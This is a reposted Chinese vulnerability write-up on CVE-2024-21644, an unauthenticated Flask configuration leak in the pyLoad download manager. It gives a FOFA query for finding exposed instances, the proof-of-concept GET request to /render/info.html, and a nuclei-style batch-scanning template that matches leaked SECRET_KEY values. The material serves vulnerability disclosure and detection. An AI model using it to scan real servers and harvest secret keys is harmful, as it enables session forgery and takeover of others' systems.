pyLoad 未经身份验证的 Flask 配置泄漏漏洞

admin 2024年3月11日13:16:45评论16 views字数 1726阅读5分45秒阅读模式

pyLoad 未经身份验证的 Flask 配置泄漏漏洞

pyLoad 未经身份验证的 Flask 配置泄漏漏洞

漏洞简介

pyLoad 未经身份验证的 Flask 配置泄漏漏洞

        pyLoad是一个用Python编写的免费开源下载管理器,旨在通过Web进行极其轻量级,易于扩展和完全管理,不仅可以下载直接链接,还可以从许多网站下载。其接口/render/info.html存在敏感信息泄露漏洞,可被攻击者利用进一步接管系统平台。

pyLoad 未经身份验证的 Flask 配置泄漏漏洞

漏洞复现

pyLoad 未经身份验证的 Flask 配置泄漏漏洞

第一步、使用下面fofa语句进行资产收集...确认测试目标

fofa语句title="Login-pyLoad"

第二步、访问网站首页

pyLoad 未经身份验证的 Flask 配置泄漏漏洞

第三步、拼接poc路径进行访问

GET /render/info.html HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: close

pyLoad 未经身份验证的 Flask 配置泄漏漏洞

pyLoad 未经身份验证的 Flask 配置泄漏漏洞

批量脚本

pyLoad 未经身份验证的 Flask 配置泄漏漏洞
id: CVE-2024-21644info:  name: pyLoad Flask Config - Access Control  author: ly  severity: high  description: |    pyLoad is the free and open-source Download Manager written in pure Python. Any unauthenticated user can browse to a specific URL to expose the Flask config, including the `SECRET_KEY` variable. This issue has been patched in version 0.5.0b3.dev77.  remediation: |    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.  reference:    - https://github.com/advisories/GHSA-mqpq-2p68-46fv    - https://github.com/fkie-cad/nvd-json-data-feeds    - https://nvd.nist.gov/vuln/detail/CVE-2024-21644  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N    cvss-score: 7.5    cve-id: CVE-2024-21644    cwe-id: CWE-284    epss-score: 0.00186    epss-percentile: 0.56007    cpe: cpe:2.3:a:pyload:pyload:*:*:*:*:*:*:*:*  metadata:    verified: true    max-request: 1    vendor: pyload    product: pyload    shodan-query: html:"pyload"    zoomeye-query: app:"pyLoad"  tags: cve,cve2024,python,pip,pyload,access-controlhttp:  - method: GET    path:      - "{{BaseURL}}/render/info.html"    matchers-condition: and    matchers:      - type: word        part: body        words:          - "'SECRET_KEY':"          - "'pyload_session'"        condition: and      - type: status        status:          - 200

原文始发于微信公众号(揽月安全团队):pyLoad 未经身份验证的 Flask 配置泄漏漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月11日13:16:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   pyLoad 未经身份验证的 Flask 配置泄漏漏洞https://cn-sec.com/archives/2565982.html

发表评论

匿名网友 填写信息